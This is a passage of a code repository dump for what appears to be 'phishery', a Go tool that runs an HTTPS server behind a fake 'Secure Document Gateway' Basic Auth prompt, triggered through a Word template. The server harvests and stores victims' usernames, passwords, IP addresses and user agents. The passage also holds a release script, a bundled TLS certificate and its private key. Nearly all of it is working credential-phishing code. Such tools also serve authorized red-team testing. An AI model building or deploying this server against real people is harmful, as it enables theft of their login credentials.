71 | auth := strings.SplitN(req.Header.Get("Authorization"), " ", 2)
72 | if len(auth) == 2 {
73 | authInfo, err := srv.processAuth(auth[1])
74 | if err != nil {
75 | neat.Error(err.Error())
76 | return
77 | }
78 |
79 | authInfo.Host = stripPort(req.Host)
80 | authInfo.Request = req.Method + " " + req.RequestURI
81 | authInfo.UserAgent = req.UserAgent()
82 | authInfo.IPAddress = stripPort(req.RemoteAddr)
83 |
84 | created, err := srv.credStore.AddObject(authInfo)
85 | if err != nil {
86 | neat.Error("Error writing credentials: %s", err)
87 | }
88 |
89 | if created {
90 | neat.Info("New credentials harvested!")
91 | printAuth(authInfo)
92 | } else {
93 | neat.Info("Duplicate credentials received for: %s", authInfo.Username)
94 | }
95 |
96 | srv.writeResponse(resp)
97 | return
98 | }
99 | neat.Info("Sending Basic Auth response to: %s", stripPort(req.RemoteAddr))
100 |
101 | resp.Header().Set("WWW-Authenticate", `Basic realm="`+srv.settings.BasicRealm+`"`)
102 | resp.WriteHeader(401)
103 | resp.Write([]byte("401 Unauthorized\n"))
104 | }
105 |
106 | func (srv *Phishery) writeResponse(resp http.ResponseWriter) {
107 | if len(srv.settings.ResponseHeaders) > 0 {
108 | for _, head := range srv.settings.ResponseHeaders {
109 | resp.Header().Set(head[0], head[1])
110 | }
111 | }
112 |
113 | resp.WriteHeader(srv.settings.ResponseStatus)
114 | if srv.settings.ResponseBody != "" {
115 | resp.Write([]byte(srv.settings.ResponseBody + "\n"))
116 | return
117 | }
118 |
119 | if srv.settings.ResponseFile != "" {
120 | file, _ := ioutil.ReadFile(srv.settings.ResponseFile)
121 | resp.Write(file)
122 | return
123 | }
124 |
125 | resp.Write([]byte("404 Not Found\n"))
126 | return
127 | }
128 |
129 | func stripPort(ip string) string {
130 | colon := strings.Index(ip, ":")
131 | if colon > 0 {
132 | return ip[:colon]
133 | }
134 |
135 | return ip
136 | }
137 |
138 | func printReq(req *http.Request) {
139 | stamp := time.Now().Local().Format("2006-01-02 15:04:05")
140 | reqFmt := "Request Received at %s: %s https://%s%s"
141 | reqInfo := fmt.Sprintf(reqFmt, stamp, req.Method, stripPort(req.Host), req.RequestURI)
142 | neat.Info(reqInfo)
143 | }
144 |
145 | func printAuth(auth AuthInfo) {
146 | neat.Data("HTTP", "Host", auth.Host)
147 | neat.Data("HTTP", "Request", auth.Request)
148 | neat.Data("HTTP", "User Agent", auth.UserAgent)
149 | neat.Data("HTTP", "IP Address", auth.IPAddress)
150 | neat.Data("AUTH", "Username", auth.Username)
151 | neat.Data("AUTH", "Password", auth.Password)
152 | }
153 |
--------------------------------------------------------------------------------
/phish/settings.go:
--------------------------------------------------------------------------------
1 | package phish
2 |
3 | import (
4 | "os"
5 | "encoding/json"
6 | )
7 |
8 | type Settings struct {
9 | IP string
10 | Port string
11 | SSLKey string
12 | SSLCert string
13 | BasicRealm string
14 | ResponseFile string
15 | ResponseBody string
16 | ResponseStatus int
17 | ResponseHeaders [][]string
18 | }
19 |
20 | func loadSettings(jsonFile string) Settings {
21 | file, err := os.Open(jsonFile)
22 | if err != nil {
23 | neat.Error("Error loading settings: %s", err)
24 | os.Exit(1)
25 | }
26 |
27 | settings := Settings{}
28 | decoder := json.NewDecoder(file)
29 | if err := decoder.Decode(&settings); err != nil {
30 | neat.Error("Error decoding settings: %s", err)
31 | os.Exit(1)
32 | }
33 |
34 | return settings
35 | }
--------------------------------------------------------------------------------
/phish/version.go:
--------------------------------------------------------------------------------
1 | package phish
2 |
3 | const VERSION = "1.0.2"
--------------------------------------------------------------------------------
/release:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | for OS in "linux" "darwin" "windows" "freebsd"; do
4 | GOOS=$OS CGO_ENABLED=0 GOARCH=amd64 go build
5 | FOLDER=phishery1.0.2$OS-amd64
6 | ARCHIVE=$FOLDER.tar.gz
7 | mkdir $FOLDER
8 | cp LICENSE $FOLDER
9 | cp credentials.json $FOLDER
10 | cp settings.json $FOLDER
11 | cp server.crt $FOLDER
12 | cp server.key $FOLDER
13 | cp template.dotx $FOLDER
14 | if [ $OS = "windows" ] ; then
15 | cp phishery.exe $FOLDER
16 | rm phishery.exe
17 | else
18 | cp phishery $FOLDER
19 | rm phishery
20 | fi
21 | COPYFILE_DISABLE=1 tar -czf $ARCHIVE $FOLDER
22 | rm -rf $FOLDER
23 | echo $ARCHIVE
24 | done
--------------------------------------------------------------------------------
/screenshots/PhisheryDialog.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ryhanson/phishery/57439537731b3084434b96deac1f82eb8993b2e1/screenshots/PhisheryDialog.jpg
--------------------------------------------------------------------------------
/server.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIDwTCCAqmgAwIBAgIJAJ62zmdDxcZdMA0GCSqGSIb3DQEBCwUAMHcxCzAJBgNV
3 | BAYTAlVTMREwDwYDVQQIDAhDb2xvcmFkbzEPMA0GA1UEBwwGRGVudmVyMREwDwYD
4 | VQQKDAhnby1waGlzaDERMA8GA1UEAwwIZ28tcGhpc2gxHjAcBgkqhkiG9w0BCQEW
5 | D2FkbWluQGxvY2FsaG9zdDAeFw0xNjA5MjExODIzMjlaFw0yNjA5MTkxODIzMjla
6 | MHcxCzAJBgNVBAYTAlVTMREwDwYDVQQIDAhDb2xvcmFkbzEPMA0GA1UEBwwGRGVu
7 | dmVyMREwDwYDVQQKDAhnby1waGlzaDERMA8GA1UEAwwIZ28tcGhpc2gxHjAcBgkq
8 | hkiG9w0BCQEWD2FkbWluQGxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEP
9 | ADCCAQoCggEBALHAwKOzq383bPNHW0AvmYcyglK9CRXr7ga3JD7RXsH3/C6bXJbY
10 | V9FmzACQV9eBMzSER0oqO6zCbgrXzxivdsJwvPE8yx7z1FVyl6nnhMM3wBVfOdSc
11 | 22pc/tDkxWlWKcLWgn5Qg7lXTnX/dcL+XV1ioKoPFZKczQzeTx2IM8ky1iAydOOC
12 | W8+DSTluoPB7uSdSpBtiAj7xWidOr5eHYeiHsnZoTfuA7pxdC7WsyaGku8UAhzZP
13 | c6DQ4AEW9Z5GXHdujPBR9TYGUuqS7bj1zO+PQgarIDAieu3qTQtKLUl01OETMGsv
14 | xy3iWRVgRTTVD7yVOxacEhetIrIgtIrquIcCAwEAAaNQME4wHQYDVR0OBBYEFNMV
15 | p/EK3CmMkmse/hVQw0Z4FsztMB8GA1UdIwQYMBaAFNMVp/EK3CmMkmse/hVQw0Z4
16 | FsztMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAC0omb5ll66jUVbG
17 | m9FeVSKoDNv2Fgin7Kh3qCzdsEZTSukmSm/4gKijQ13ZXeWovFGHTfqeUpuGKUn6
18 | niiQxf5fVjRc0K+bwObg8dXYIvNOWqBL9qIzTjreovitWpW75naD2HE6U/tEehKq
19 | 0YR4AVq6DV/xli0pEBTVlHmVYBpuwKdccIqrchx3cDtF/Fa5/r5xDqwJt+tXEPqn
20 | 4jyQ3pgOneRCAAryDw/qqogW2iolnuZT5PS7uys4kCFuPvrbEz13O676JVoZ0WPh
21 | 2CwJjfR0C2YySk+PCK81hX6hFCgdL/gw4dnSQXumlbI8cex7aDa8sP1/YqkDq/IF
22 | CdrH9UA=
23 | -----END CERTIFICATE-----
24 |
--------------------------------------------------------------------------------
/server.key:
--------------------------------------------------------------------------------
1 | -----BEGIN PRIVATE KEY-----
2 | MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCxwMCjs6t/N2zz
3 | R1tAL5mHMoJSvQkV6+4GtyQ+0V7B9/wum1yW2FfRZswAkFfXgTM0hEdKKjuswm4K
4 | 188Yr3bCcLzxPMse89RVcpep54TDN8AVXznUnNtqXP7Q5MVpVinC1oJ+UIO5V051
5 | /3XC/l1dYqCqDxWSnM0M3k8diDPJMtYgMnTjglvPg0k5bqDwe7knUqQbYgI+8Von
6 | Tq+Xh2Hoh7J2aE37gO6cXQu1rMmhpLvFAIc2T3Og0OABFvWeRlx3bozwUfU2BlLq
7 | ku249czvj0IGqyAwInrt6k0LSi1JdNThEzBrL8ct4lkVYEU01Q+8lTsWnBIXrSKy
8 | ILSK6riHAgMBAAECggEAK2VjopO6ytQ9RSemn4T/doJeTtTX4wI2mm0b7DoxaCmi
9 | 574GXM10oyr1oy2aRILGfYvN281zxDmzo/IMHXq5A7+CYWL2NBhTPok7fb+IKiDy
10 | REV7WOzypIUPsPApQg5HI8o7EZuWjSlDfotftLtlD+eEUgBcw+6EISAlMJCQFA5s
11 | 0wQhcYq5oPgnGZXtqGQkblDVgT4g2dxDnTLTzgnAIIScwnlVNuMo3yudj8lLHO99
12 | KSwGuyjPS2M4Z61Rv5CuRFhhFB+OQp/ylKoc+gV4AN8x2W5tAhIu7tu9IMmHecKd
13 | etposwZUxxz/tec1cVxVXYX4jH3kNLrEXN6BDGegAQKBgQDkMfG0nV5hOwAAp8ok
14 | +4a6Bh4wFHYNlrJKu1TQ5mDKGlfkbxctkOg56qjNAr56dTakLbNcH+zJ0Qn7um43
15 | ZFdmnFuEzBDLXIzHFcc8Zujme+cq/O3L6pT95yVIcYLOxnUBlBDF+cQfgIZWOjNc
16 | OoFQGb7TE2BsHyNVvYlGu2CmYQKBgQDHaV+n3PxgR/C47NN46WiA4eN/AHasl+iS
17 | mS9bmyyCpizGv0iOPKN2MWBURsoJ9DJIWTPTa6QINV5iDbxN5GP8r/XC0lMLm0uj
18 | kMCojOQp7zB+lHy20uCsHSB5ZGyc7E9TV2EUNkzPZegwojuTl70c6xqpQNNx9f6l
19 | qk4/C0335wKBgBbrBTF0lKQDPu7R6zVnpZJNRv7hLzISLnne8pfAa3wgxS8GETfc
20 | U9ZtQOLGIcc+umwmwtq/whJK0kvb33Hku/psPazKqe0isGjWQRpJ454yV3czy9Yt
21 | CyWs70ulStPljp7H9h9MBGx9hgBm+/2JSq92xnmAerChN/VGgeD+tKhBAoGARAnf
22 | Gm5bKhrBtscPbIzvHDJ2pcmptD/smcBsmSv75uP+GR4BCo8EEvrL7FVu8DCCy46s
23 | ETID+M0E1B3tpwILX5dGGmAa97XX/AoSwi+4VdqHyFivqM2Q3QjfIKw0JuK2OjBx
24 | Li1MzeLuc1GXVEeMvgY1xZQZ0SNm7G2MXxRjWPcCgYEA3CZ7SC71vnBhmKAmxTfP
25 | YxY0LMgS7oLwdf1BvJl6GwU1r6iwwJK/PYnAOa9uxUCf8VG2tsqchYXNWZqzFsJS
26 | cQfsd+jHK04VPKfWdGxDiGQdfl0rx3Jpuab5Irnkm7U3i4KErB1+bX1VwBHRUtbO
27 | n8NAdMNPRUjvq4Q1XJPsIO4=
28 | -----END PRIVATE KEY-----
29 |
--------------------------------------------------------------------------------
/settings.json:
--------------------------------------------------------------------------------
1 | {
2 | "ip": "0.0.0.0",
3 | "port": "443",
4 | "sslCert": "server.crt",
5 | "sslKey": "server.key",
6 | "basicRealm": "Secure Document Gateway",
7 | "responseStatus": 200,
8 | "responseFile": "template.dotx",
9 | "responseHeaders": [
10 | ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"]
11 | ]
12 | }
--------------------------------------------------------------------------------
/template.dotx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ryhanson/phishery/57439537731b3084434b96deac1f82eb8993b2e1/template.dotx
--------------------------------------------------------------------------------